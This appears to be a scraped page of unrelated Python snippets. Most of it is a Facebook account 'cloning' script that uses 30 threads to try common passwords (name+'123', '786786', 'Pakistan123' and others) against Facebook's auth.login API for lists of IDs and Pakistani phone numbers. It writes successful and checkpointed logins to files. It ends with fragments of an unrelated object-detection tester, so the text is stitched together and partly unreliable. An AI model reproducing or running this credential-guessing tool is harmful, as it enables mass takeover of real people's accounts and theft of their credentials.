                print '\x1b[1;91m[!] \x1b[1;92m[OK]'
                print '\x1b[1;92m[!] \x1b[1;97mName \x1b[1;97m    : \x1b[1;97m' + b[
                    'name']
                print '\x1b[1;93m[!] \x1b[1;97mID \x1b[1;97m      : \x1b[1;97m' + user
                print '\x1b[1;94m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass1 + '\n'
                oks.append(user + pass1)
            else:
                if 'www.facebook.com' in q["error_msg"]:
                    print '\x1b[1;91m[!] \x1b[1;96m[Checkpoint]'
                    print '\x1b[1;92m[!] \x1b[1;97mName \x1b[1;97m    : \x1b[1;97m' + b[
                        'name']
                    print '\x1b[1;93m[!] \x1b[1;97mID \x1b[1;97m      : \x1b[1;97m' + user
                    print '\x1b[1;94m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass1 + '\n'
                    cek = open("out/super_cp.txt", "a")
                    cek.write("ID:" + user + " Pw:" + pass1 + "\n")
                    cek.close()
                    cekpoint.append(user + pass1)
                else:
                    pass2 = b['first_name'] + '123'
                    data = urllib.urlopen(
                        "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                        + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                    )
                    q = json.load(data)
                    if 'access_token' in q:
                        x = requests.get("https://graph.facebook.com/" + user +
                                         "?access_token=" + q['access_token'])
                        z = json.loads(x.text)
                        print '\x1b[1;94m[!] \x1b[1;92m[OK]'
                        print '\x1b[1;93m[!] \x1b[1;97mName \x1b[1;97m    : \x1b[1;97m' + b[
                            'name']
                        print '\x1b[1;92m[!] \x1b[1;97mID \x1b[1;97m      : \x1b[1;97m' + user
                        print '\x1b[1;91m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass2 + '\n'
                        oks.append(user + pass2)
                    else:
                        if 'www.facebook.com' in q["error_msg"]:
                            print '\x1b[1;94m[!] \x1b[1;96m[Checkpoint]'
                            print '\x1b[1;93m[!] \x1b[1;97mName \x1b[1;93m    : \x1b[1;97m' + b[
                                'name']
                            print '\x1b[1;92m[!] \x1b[1;97mID \x1b[1;97m      : \x1b[1;97m' + user
                            print '\x1b[1;91m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass2 + '\n'
                            cek = open("out/super_cp.txt", "a")
                            cek.write("ID:" + user + " Pw:" + pass2 + "\n")
                            cek.close()
                            cekpoint.append(user + pass2)
                        else:
                            pass3 = b['last_name'] + '123'
                            data = urllib.urlopen(
                                "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                            )
                            q = json.load(data)
                            if 'access_token' in q:
                                x = requests.get(
                                    "https://graph.facebook.com/" + user +
                                    "?access_token=" + q['access_token'])
                                z = json.loads(x.text)
                                print '\x1b[1;91m[!] \x1b[1;92m[OK]'
                                print '\x1b[1;92m[!] \x1b[1;97mName \x1b[1;97m    : \x1b[1;97m' + b[
                                    'name']
                                print '\x1b[1;93m[!] \x1b[1;97mID \x1b[1;97m      : \x1b[1;97m' + user
                                print '\x1b[1;94m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass3 + '\n'
                                oks.append(user + pass3)
                            else:
                                if 'www.facebook.com' in q["error_msg"]:
                                    print '\x1b[1;91m[!] \x1b[1;96m[Checkpoint]'
                                    print '\x1b[1;92m[!] \x1b[1;97mName \x1b[1;97m    : \x1b[1;97m' + b[
                                        'name']
                                    print '\x1b[1;93m[!] \x1b[1;97mID \x1b[1;97m      : \x1b[1;97m' + user
                                    print '\x1b[1;94m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass3 + '\n'
                                    cek = open("out/super_cp.txt", "a")
                                    cek.write("ID:" + user + " Pw:" + pass3 +
                                              "\n")
                                    cek.close()
                                    cekpoint.append(user + pass3)
                                else:
                                    pass4 = b['first_name'] + '1122'
                                    data = urllib.urlopen(
                                        "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                        + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                    )
                                    q = json.load(data)
                                    if 'access_token' in q:
                                        x = requests.get(
                                            "https://graph.facebook.com/" +
                                            user + "?access_token=" +
                                            q['access_token'])
                                        z = json.loads(x.text)
                                        print '\x1b[1;94m[!] \x1b[1;92m[OK]'
                                        print '\x1b[1;93m[!] \x1b[1;97mName \x1b[1;97m    : \x1b[1;97m' + b[
                                            'name']
                                        print '\x1b[1;92m[!] \x1b[1;97mID \x1b[1;97m      : \x1b[1;97m' + user
                                        print '\x1b[1;91m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass4 + '\n'
                                        oks.append(user + pass4)
                                    else:
                                        if 'www.facebook.com' in q[
                                                "error_msg"]:
                                            print '\x1b[1;94m[!] \x1b[1;96m[Checkpoint]'
                                            print '\x1b[1;93m[!] \x1b[1;97mName \x1b[1;97m    : \x1b[1;97m' + b[
                                                'name']
                                            print '\x1b[1;92m[!] \x1b[1;97mID \x1b[1;97m      : \x1b[1;97m' + user
                                            print '\x1b[1;91m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass4 + '\n'
                                            cek = open("out/super_cp.txt", "a")
                                            cek.write("ID:" + user + " Pw:" +
                                                      pass4 + "\n")
                                            cek.close()
                                            cekpoint.append(user + pass4)
                                        else:
                                            pass5 = '786786'
                                            data = urllib.urlopen(
                                                "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                                + (user) +
                                                "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                            )
                                            q = json.load(data)
                                            if 'access_token' in q:
                                                x = requests.get(
                                                    "https://graph.facebook.com/"
                                                    + user + "?access_token=" +
                                                    q['access_token'])
                                                z = json.loads(x.text)
                                                print '\x1b[1;97m[!] \x1b[1;92m[OK]'
                                                print '\x1b[1;97m[!] \x1b[1;97mName \x1b[1;97m    : \x1b[1;97m' + b[
                                                    'name']
                                                print '\x1b[1;97m[!] \x1b[1;97mID \x1b[1;97m      : \x1b[1;97m' + user
                                                print '\x1b[1;97m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass5 + '\n'
                                                oks.append(user + pass5)
                                            else:
                                                if 'www.facebook.com' in q[
                                                        "error_msg"]:
                                                    print '\x1b[1;97m[!] \x1b[1;96m[Checkpoint]'
                                                    print '\x1b[1;97m[!] \x1b[1;97mName \x1b[1;97m    : \x1b[1;97m' + b[
                                                        'name']
                                                    print '\x1b[1;97m[!] \x1b[1;97mID \x1b[1;97m      : \x1b[1;97m' + user
                                                    print '\x1b[1;97m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass5 + '\n'
                                                    cek = open(
                                                        "out/super_cp.txt",
                                                        "a")
                                                    cek.write("ID:" + user +
                                                              " Pw:" + pass5 +
                                                              "\n")
                                                    cek.close()
                                                    cekpoint.append(user +
                                                                    pass5)
                                                else:
                                                    pass6 = 'Pakistan'
                                                    data = urllib.urlopen(
                                                        "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                                        + (user) +
                                                        "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                                    )
                                                    q = json.load(data)
                                                    if 'access_token' in q:
                                                        x = requests.get(
                                                            "https://graph.facebook.com/"
                                                            + user +
                                                            "?access_token=" +
                                                            q['access_token'])
                                                        z = json.loads(x.text)
                                                        print '\x1b[1;97m[!] \x1b[1;92m[OK]'
                                                        print '\x1b[1;97m[!] \x1b[1;97mName \x1b[1;97m    : \x1b[1;97m' + b[
                                                            'name']
                                                        print '\x1b[1;97m[!] \x1b[1;97mID \x1b[1;97m      : \x1b[1;97m' + user
                                                        print '\x1b[1;97m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass6 + '\n'
                                                        oks.append(user +
                                                                   pass6)
                                                    else:
                                                        if 'www.facebook.com' in q[
                                                                "error_msg"]:
                                                            print '\x1b[1;97m[!] \x1b[1;96m[Checkpoint]'
                                                            print '\x1b[1;97m[!] \x1b[1;97mName \x1b[1;97m    : \x1b[1;97m' + b[
                                                                'name']
                                                            print '\x1b[1;97m[!] \x1b[1;97mID \x1b[1;97m      : \x1b[1;97m' + user
                                                            print '\x1b[1;97m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass6 + '\n'
                                                            cek = open(
                                                                "out/super_cp.txt",
                                                                "a")
                                                            cek.write("ID:" +
                                                                      user +
                                                                      " Pw:" +
                                                                      pass6 +
                                                                      "\n")
                                                            cek.close()
                                                            cekpoint.append(
                                                                user + pass6)
                                                        else:
                                                            pass7 = b[
                                                                'first_name'] + '12345'
                                                            data = urllib.urlopen(
                                                                "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                                                + (user) +
                                                                "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                                            )
                                                            q = json.load(data)
                                                            if 'access_token' in q:
                                                                x = requests.get(
                                                                    "https://graph.facebook.com/"
                                                                    + user +
                                                                    "?access_token="
                                                                    +
                                                                    q['access_token']
                                                                )
                                                                z = json.loads(
                                                                    x.text)
                                                                print '\x1b[1;91m[!] \x1b[1;92m[OK]'
                                                                print '\x1b[1;92m[!] \x1b[1;97mName \x1b[1;97m    : \x1b[1;97m' + b[
                                                                    'name']
                                                                print '\x1b[1;93m[!] \x1b[1;97mID \x1b[1;97m      : \x1b[1;97m' + user
                                                                print '\x1b[1;94m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass7 + '\n'
                                                                oks.append(
                                                                    user +
                                                                    pass7)
                                                            else:
                                                                if 'www.facebook.com' in q[
                                                                        "error_msg"]:
                                                                    print '\x1b[1;91m[!] \x1b[1;96m[Checkpoint]'
                                                                    print '\x1b[1;92m[!] \x1b[1;97mName \x1b[1;97m    : \x1b[1;97m' + b[
                                                                        'name']
                                                                    print '\x1b[1;93m[!] \x1b[1;97mID \x1b[1;97m      : \x1b[1;97m' + user
                                                                    print '\x1b[1;94m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass7 + '\n'
                                                                    cek = open(
                                                                        "out/super_cp.txt",
                                                                        "a")
                                                                    cek.write(
                                                                        "ID:" +
                                                                        user +
                                                                        " Pw:"
                                                                        +
                                                                        pass7 +
                                                                        "\n")
                                                                    cek.close()
                                                                    cekpoint.append(
                                                                        user +
                                                                        pass7)
                                                                else:
                                                                    pass8 = '000786'
                                                                    data = urllib.urlopen(
                                                                        "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                                                        + (user
                                                                           ) +
                                                                        "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                                                    )
                                                                    q = json.load(
                                                                        data)
                                                                    if 'access_token' in q:
                                                                        x = requests.get(
                                                                            "https://graph.facebook.com/"
                                                                            +
                                                                            user
                                                                            +
                                                                            "?access_token="
                                                                            +
                                                                            q['access_token']
                                                                        )
                                                                        z = json.loads(
                                                                            x.
                                                                            text
                                                                        )
                                                                        print '\x1b[1;97m[!] \x1b[1;92m[OK]'
                                                                        print '\x1b[1;97m[!] \x1b[1;97mName \x1b[1;97m    : \x1b[1;97m' + b[
                                                                            'name']
                                                                        print '\x1b[1;97m[!] \x1b[1;97mID \x1b[1;97m      : \x1b[1;97m' + user
                                                                        print '\x1b[1;97m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass8 + '\n'
                                                                        oks.append(
                                                                            user
                                                                            +
                                                                            pass8
                                                                        )
                                                                    else:
                                                                        if 'www.facebook.com' in q[
                                                                                "error_msg"]:
                                                                            print '\x1b[1;97m[!] \x1b[1;96m[Checkpoint]'
                                                                            print '\x1b[1;97m[!] \x1b[1;97mName \x1b[1;97m    : \x1b[1;97m' + b[
                                                                                'name']
                                                                            print '\x1b[1;97m[!] \x1b[1;97mID \x1b[1;98m      : \x1b[1;97m' + user
                                                                            print '\x1b[1;97m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass8 + '\n'
                                                                            cek = open(
                                                                                "out/super_cp.txt",
                                                                                "a"
                                                                            )
                                                                            cek.write(
                                                                                "ID:"
                                                                                +
                                                                                user
                                                                                +
                                                                                " Pw:"
                                                                                +
                                                                                pass8
                                                                                +
                                                                                "\n"
                                                                            )
                                                                            cek.close(
                                                                            )
                                                                            cekpoint.append(
                                                                                user
                                                                                +
                                                                                pass8
                                                                            )
                                                                        else:
                                                                            pass9 = b[
                                                                                'first_name'] + '786'
                                                                            data = urllib.urlopen(
                                                                                "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                                                                +
                                                                                (user
                                                                                 )
                                                                                +
                                                                                "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                                                            )
                                                                            q = json.load(
                                                                                data
                                                                            )
                                                                            if 'access_token' in q:
                                                                                x = requests.get(
                                                                                    "https://graph.facebook.com/"
                                                                                    +
                                                                                    user
                                                                                    +
                                                                                    "?access_token="
                                                                                    +
                                                                                    q['access_token']
                                                                                )
                                                                                z = json.loads(
                                                                                    x
                                                                                    .
                                                                                    text
                                                                                )
                                                                                print '\x1b[1;91m[!] \x1b[1;92m[OK]'
                                                                                print '\x1b[1;92m[!] \x1b[1;97mName \x1b[1;97m    : \x1b[1;97m' + b[
                                                                                    'name']
                                                                                print '\x1b[1;93m[!] \x1b[1;97mID \x1b[1;97m      : \x1b[1;97m' + user
                                                                                print '\x1b[1;94m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass9 + '\n'
                                                                                oks.append(
                                                                                    user
                                                                                    +
                                                                                    pass9
                                                                                )
                                                                            else:
                                                                                if 'www.facebook.com' in q[
                                                                                        "error_msg"]:
                                                                                    print '\x1b[1;91m[!] \x1b[1;96m[Checkpoint]'
                                                                                    print '\x1b[1;92m[!] \x1b[1;97mName \x1b[1;97m    : \x1b[1;97m' + b[
                                                                                        'name']
                                                                                    print '\x1b[1;94m[!] \x1b[1;97mID \x1b[1;97m      : \x1b[1;97m' + user
                                                                                    print '\x1b[1;94m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass9 + '\n'
                                                                                    cek = open(
                                                                                        "out/super_cp.txt",
                                                                                        "a"
                                                                                    )
                                                                                    cek.write(
                                                                                        "ID:"
                                                                                        +
                                                                                        user
                                                                                        +
                                                                                        " Pw:"
                                                                                        +
                                                                                        pass9
                                                                                        +
                                                                                        "\n"
                                                                                    )
                                                                                    cek.close(
                                                                                    )
                                                                                    cekpoint.append(
                                                                                        user
                                                                                        +
                                                                                        pass9
                                                                                    )

        except:
            pass

    p = ThreadPool(30)
    p.map(main, id)

    print '\033[1;31;40m[✓] Process Has Been Completed\033[1;95m....'
    print "\033[1;32;40m[+] Total OK/\033[1;95mCP \033[1;97m: \033[1;95m" + str(
        len(oks)) + "\033[1;31;40m/\033[1;36;40m" + str(len(cekpoint))
    print '\033[1;34;40m[+] CP File Has Been Saved : save/cp.txt'
    print """
\033[1;31;40m ●════════════════════════◄►════════════════════════●
           """
    raw_input("\n\033[1;95m[\033[1;95mExit\033[1;95m]")
    super()
Exemple #51
0
def action():
    peak = raw_input('\n\033[1;97mCHOOSE:\033[1;97m')
    if peak =='':
        print '[!] Fill In Correctly'
        action()
    elif peak =="1":              
        os.system("clear")
        print logo2
        print "Enter any Pakistan Mobile number code for cloning"+'\n'
        print 'Enter any code 1 to 49'
        try:
            c = raw_input("\033[1;97mCHOOSE : ")
            k="03"
            idlist = ('.txt')
            for line in open(idlist,"r").readlines():
                id.append(line.strip())
        except IOError:
            print ("[!] File Not Found")
            raw_input("\n[ Back ]")
            blackmafiax()
    elif peak =='0':
        login()
    else:
        print '[!] Fill In Correctly'
        action()
    print 50* '\033[1;94m-'
    xxx = str(len(id))
    jalan('\033[1;96m▬PROGRAMED BY BILALO DAJAL ')
    jalan("\033[1;96m▬▬DOCTOR OF COMPUTERS AND LAPTOPS")
    jalan('\033[1;96m▬▬▬PROGRAMER')
    jalan('\033[1;96m▬▬▬▬WEB DEVOLPR')
    jalan("\033[1;96m▬▬▬▬▬HACKER")
    jalan("\033[1;96m▬▬▬▬▬▬TRICKX MASTER")
    jalan('\033[1;96m▬▬▬▬▬▬▬PUKHTOON')

    jalan ('\033[1;96m Total Number of IDs: '+xxx)
    jalan ('\033[1;95mCode you choosed: '+c)
    jalan ("\033[1;94mWait A While Start Cloning...")
    jalan ("\033[1;93mTo Stop Process Press Ctrl+z")
    print 50* '\033[1;97m-'
    def main(arg):
        global cpb,oks
        user = arg
        try:
            os.mkdir('save')
        except OSError:
            pass
        try:
            pass1 = user
            data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm')
            q = json.load(data)
            if 'access_token' in q:
                print '\x1b[1;93m(done)  ' + k + c + user + '  |  ' + pass1                                       
                okb = open('save/cloned.txt', 'a')
                okb.write(k+c+user+pass1+'\n')
                okb.close()
                oks.append(c+user+pass1)
            else:
                if 'www.facebook.com' in q['error_msg']:
                    print '\033[1;97m(7Days) ' + k + c + user + '  |  ' + pass1
                    cps = open('save/cloned.txt', 'a')
                    cps.write(k+c+user+pass1+'\n')
                    cps.close()
                    cpb.append(c+user+pass1)
                else:
                    pass2 = k + c + user
                    data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm')
                    q = json.load(data)
                    if 'access_token' in q:
                        print '\x1b[1;93m(Done)  ' + k + c + user +  '  |  ' + pass2
                        okb = open('save/cloned.txt', 'a')
                        okb.write(k+c+user+pass2+'\n')
                        okb.close()
                        oks.append(c+user+pass2)
                    else:
                        if 'www.facebook.com' in q['error_msg']:
                            print '\033[1;97m(7days) ' + k + c + user + '  |  ' + pass2
                            cps = open('save/cloned.txt', 'a')
                            cps.write(k+c+user+pass2+'\n')
                            cps.close()
                            cpb.append(c+user+pass2)
                        else:
                            pass3="Pakistan123"
                            data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm')
                            q = json.load(data)
                            if 'access_token' in q:
                                print '\x1b[1;93m(Done)  ' + k + c + user + '  |  ' + pass3
                                okb = open('save/cloned.txt', 'a')
                                okb.write(k+c+user+pass3+'\n')
                                okb.close()
                                oks.append(c+user+pass3)
                            else:
                                if 'www.facebook.com' in q['error_msg']:
                                    print '\033[1;97m(7days) ' + k + c + user + '  |  ' + pass3 
                                    cps = open('save/cloned.txt', 'a')
                                    cps.write(k+c+user+pass3+'\n')
                                    cps.close()
                                    cpb.append(c+user+pass3)
                                else:
                                    pass4="Pakistan"
                                    data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm')
                                    q = json.load(data)
                                    if 'access_token' in q:
                                        print '\x1b[1;93m(done)  ' + k + c + user + '  |  ' + pass4 
                                        okb = open('save/cloned.txt', 'a')
                                        okb.write(k+c+user+pass4+'\n')
                                        okb.close()
                                        oks.append(c+user+pass4)
                                    else:
                                        if 'www.facebook.com' in q['error_msg']:
                                            print '\033[1;97m(7days) ' + k + c + user + '  |  ' + pass4
                                            cps = open('save/cloned.txt', 'a')
                                            cps.write(k+c+user+pass4+'\n')
                                            cps.close()
                                            cpb.append(c+user+pass4)
                                        else:
                                            pass5="786786"
                                            data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm')
                                            q = json.load(data)
                                            if 'access_token' in q:
                                                print '\x1b[1;93m(Done)  ' + k + c + user + '  |  ' + pass5
                                                okb = open('save/cloned.txt', 'a')
                                                okb.write(k+c+user+pass5+'\n')
                                                okb.close()
                                                oks.append(c+user+pass5)
                                            else:
                                                if 'www.facebook.com' in q['error_msg']:
                                                    print '\033[1;97m(7days) ' + k + c + user + '  |  ' + pass5 
                                                    cps = open('save/cloned.txt', 'a')
                                                    cps.write(k+c+user+pass5+'\n')
                                                    cps.close()
                                                    cpb.append(c+user+pass5)
                                                                                                                                                                                                                
                                                                                                                                                                                                                
                                                                                                                                                                                                            
                                                                                                                                                                                                            
                                                                                                                                                                                                            
                                                                                                                                                                                                            
                                                                                                                                                                                                            


                                                                                                                                                                                                            
                                                                                                                                                                                                                    
                                                                                                                                                                                                            



        except:
            pass
        
    p = ThreadPool(30)
    p.map(main, id)
    print 50* '\033[1;91m-'
    print 'Process Has Been Completed ...'
    print 'Total Online/Offline : '+str(len(oks))+'/'+str(len(cpb))
    print('Cloned Accounts Has Been Saved : save/cloned.txt')
    jalan("Note : Your CP account Will Open after 7 to 10 days")
    print ''
    print """
    ░▐█▀▄─▒▀▄░░░░░▄▀░▐█▀▀
Exemple #52
0
def the_io_thread_pool_init(parallelism=1):
    global the_io_thread_pool
    if the_io_thread_pool is None:
        the_io_thread_pool = ThreadPool(2 * parallelism)
        # make sure the threads are started up
        the_io_thread_pool.map(int, range(2 * parallelism))
Exemple #53
0
class Tester(object):
    def __init__(self, module, imdb, roidb, test_iter, cfg, rcnn_output_names=None,rpn_output_names=None,
                 logger=None, batch_size=None):
        self.test_iter = test_iter
        
        # Make sure that iterator is instnace of Prefetching iterator
        if test_iter and not isinstance(test_iter, PrefetchingIter):
            self.test_iter = PrefetchingIter(self.test_iter)
            self.scale = test_iter.test_scale
        self.cfg = cfg
        self.module = module
        if test_iter:
            self.data_names = [k[0] for k in test_iter.provide_data_single]
        self.rcnn_output_names = rcnn_output_names
        if not self.rcnn_output_names:
            self.rcnn_output_names = {
                'cls' : 'cls_prob_reshape_output',
                'bbox': 'bbox_pred_reshape_output',
                'im_ids': 'im_ids'
            }
        self.rpn_output_names = rpn_output_names
        if not self.rpn_output_names:
            self.rpn_output_names = {
                'scores' : 'rois_score',
                'rois': 'rois_output',
                'im_ids': 'im_ids'
            }
        self.logger = logger
        self.result_path = imdb.result_path
        self.num_classes = imdb.num_classes
        self.class_names = imdb.classes
        print self.class_names
        self.num_images = len(roidb)
        self.imdb_name = imdb.name
        self.nms_worker = nms_worker(cfg.TEST.NMS, cfg.TEST.NMS_SIGMA)
        self.batch_size = batch_size
        self.roidb = roidb
        self.verbose = len(roidb) > 1
        self.thread_pool = None

        if not self.batch_size:
            self.batch_size = self.cfg.TEST.BATCH_IMAGES

    def forward(self, batch):
        self.module.forward(batch, is_train=False)
        return [dict(zip(self.module.output_names, i))
                for i in zip(*self.module.get_outputs(merge_multi_context=False))]

    def get_proposals(self, batch, scales):
        data = dict(zip(self.data_names, batch.data))
        outputs = self.forward(batch)
        scores, rois = [], []
        im_shapes = np.array([im.shape[-2:] for im in data['data']]).reshape(-1, self.batch_size, 2)
        im_ids = np.array([], dtype=int)
        for i, (gpu_out, gpu_scales, gpu_shapes) in enumerate(zip(outputs, scales, im_shapes)):

            gpu_rois = gpu_out[self.rpn_output_names['rois']].asnumpy()
            # Reshape crois
            nper_gpu = gpu_rois.shape[0] / self.batch_size
            gpu_scores = gpu_out[self.rpn_output_names['scores']].asnumpy()
            im_ids = np.hstack((im_ids, gpu_out[self.rpn_output_names['im_ids']].asnumpy().astype(int)))
            for idx in range(self.batch_size):
                cids = np.where(gpu_rois[:, 0] == idx)[0]
                assert len(cids) == nper_gpu, 'The number of rois per GPU should be fixed!'
                crois = gpu_rois[cids, 1:]/gpu_scales[idx]
                cscores = gpu_scores[cids]
                # Store predictions
                scores.append(cscores)
                rois.append(crois)
        return scores, rois, data, im_ids

    def detect(self, batch, scales):
        data = dict(zip(self.data_names, batch.data))
        outputs = self.forward(batch)
        scores, preds = [], []
        im_shapes = np.array([im.shape[-2:] for im in data['data']]).reshape(-1, self.batch_size, 2)
        im_ids = np.array([], dtype=int)

        for i, (gpu_out, gpu_scales, gpu_shapes) in enumerate(zip(outputs, scales, im_shapes)):
            gpu_rois = gpu_out[self.rpn_output_names['rois']].asnumpy()
            # Reshape crois
            nper_gpu = gpu_rois.shape[0] / self.batch_size
            gpu_scores = gpu_out[self.rcnn_output_names['cls']].asnumpy()
            gpu_deltas = gpu_out[self.rcnn_output_names['bbox']].asnumpy()
            im_ids = np.hstack((im_ids, gpu_out[self.rcnn_output_names['im_ids']].asnumpy().astype(int)))
            for idx in range(self.batch_size):
                cids = np.where(gpu_rois[:, 0] == idx)[0]
                assert len(cids) == nper_gpu, 'The number of rois per GPU should be fixed!'
                crois = gpu_rois[cids, 1:]
                cscores = gpu_scores[idx]
                cdeltas = gpu_deltas[idx]

                # Apply deltas and clip predictions
                cboxes = bbox_pred(crois, cdeltas)
                cboxes = clip_boxes(cboxes, gpu_shapes[idx])

                # Re-scale boxes
                cboxes = cboxes / gpu_scales[idx]

                # Store predictions
                scores.append(cscores)
                preds.append(cboxes)
        return scores, preds, data, im_ids

    def set_scale(self, scale):
        if isinstance(self.test_iter, PrefetchingIter):
            self.test_iter.iters[0].set_scale(scale)
        else:
            self.test_iter.set_scale(scale)
        self.test_iter.reset()

    def show_info(self, print_str):
        print(print_str)
        if self.logger: self.logger.info(print_str)

    def aggregate_rpn(self, scale_cls_dets, vis=False, cache_name='cache', vis_path=None, vis_name=None,
                  pre_nms_db_divide=10, vis_ext='.png'):
        n_scales = len(scale_cls_dets)
        assert n_scales == len(self.cfg.TEST.VALID_RANGES), 'A valid range should be specified for each test scale'
        all_boxes = [[] for _ in range(self.num_images)]
        nms_pool = Pool(32)
        if len(scale_cls_dets) > 1:
            self.show_info('Aggregating detections from multiple scales and applying NMS...')
        else:
            self.show_info('Performing NMS on detections...')

        # Apply ranges and store detections per category
        parallel_nms_args = [[] for _ in range(pre_nms_db_divide)]
        n_roi_per_pool = math.ceil(self.num_images/float(pre_nms_db_divide))

        for i in range(self.num_images):
            agg_dets = np.empty((0,5),dtype=np.float32)
            for all_cls_dets, valid_range in zip(scale_cls_dets, self.cfg.TEST.VALID_RANGES):
                cls_dets = all_cls_dets[i]
                heights = cls_dets[:, 2] - cls_dets[:, 0]
                widths = cls_dets[:, 3] - cls_dets[:, 1]
                areas = widths * heights
                #print 'areas', areas
                lvalid_ids = np.where(areas > valid_range[0]*valid_range[0])[0] if valid_range[0] > 0 else \
                    np.arange(len(areas))
                uvalid_ids = np.where(areas <= valid_range[1]*valid_range[1])[0] if valid_range[1] > 0 else \
                    np.arange(len(areas))
                valid_ids = np.intersect1d(lvalid_ids,uvalid_ids)
                cls_dets = cls_dets[valid_ids, :] if len(valid_ids) > 0 else cls_dets
                print 'cls_dets', i, valid_range, cls_dets.shape
                agg_dets = np.vstack((agg_dets, cls_dets))
            parallel_nms_args[int(i/n_roi_per_pool)].append(agg_dets)

        # Divide roidb and perform NMS in parallel to reduce the memory usage
        im_offset = 0
        for part in tqdm(range(pre_nms_db_divide)):
            final_dets = nms_pool.map(self.nms_worker.worker, parallel_nms_args[part])
            if len(final_dets) > 0:
                print 'final_dets', final_dets[0].shape
                all_boxes[im_offset] = final_dets[0]
            n_part_im = len(final_dets)
            im_offset += n_part_im
        nms_pool.close()
        # Limit number of detections to MAX_PER_IMAGE if requested and visualize if vis is True
        for i in range(self.num_images):
            if self.cfg.TEST.MAX_PER_IMAGE > 0:
                image_scores = np.hstack([all_boxes[i][:, -1]])
                if len(image_scores) > self.cfg.TEST.MAX_PER_IMAGE:
                    image_thresh = np.sort(image_scores)[-self.cfg.TEST.MAX_PER_IMAGE]
                    keep = np.where(all_boxes[i][:, -1] >= image_thresh)[0]
                    all_boxes[i] = all_boxes[i][keep, :]
            if vis:
                visualization_path = vis_path if vis_path else os.path.join(self.cfg.TEST.VISUALIZATION_PATH,
                                                                            cache_name)
                if not os.path.isdir(visualization_path):
                    os.makedirs(visualization_path)
                import cv2
                im = cv2.cvtColor(cv2.imread(self.roidb[i]['image']), cv2.COLOR_BGR2RGB)
                visualize_dets(im,
                               [[]] + [all_boxes[i]],
                               1.0,
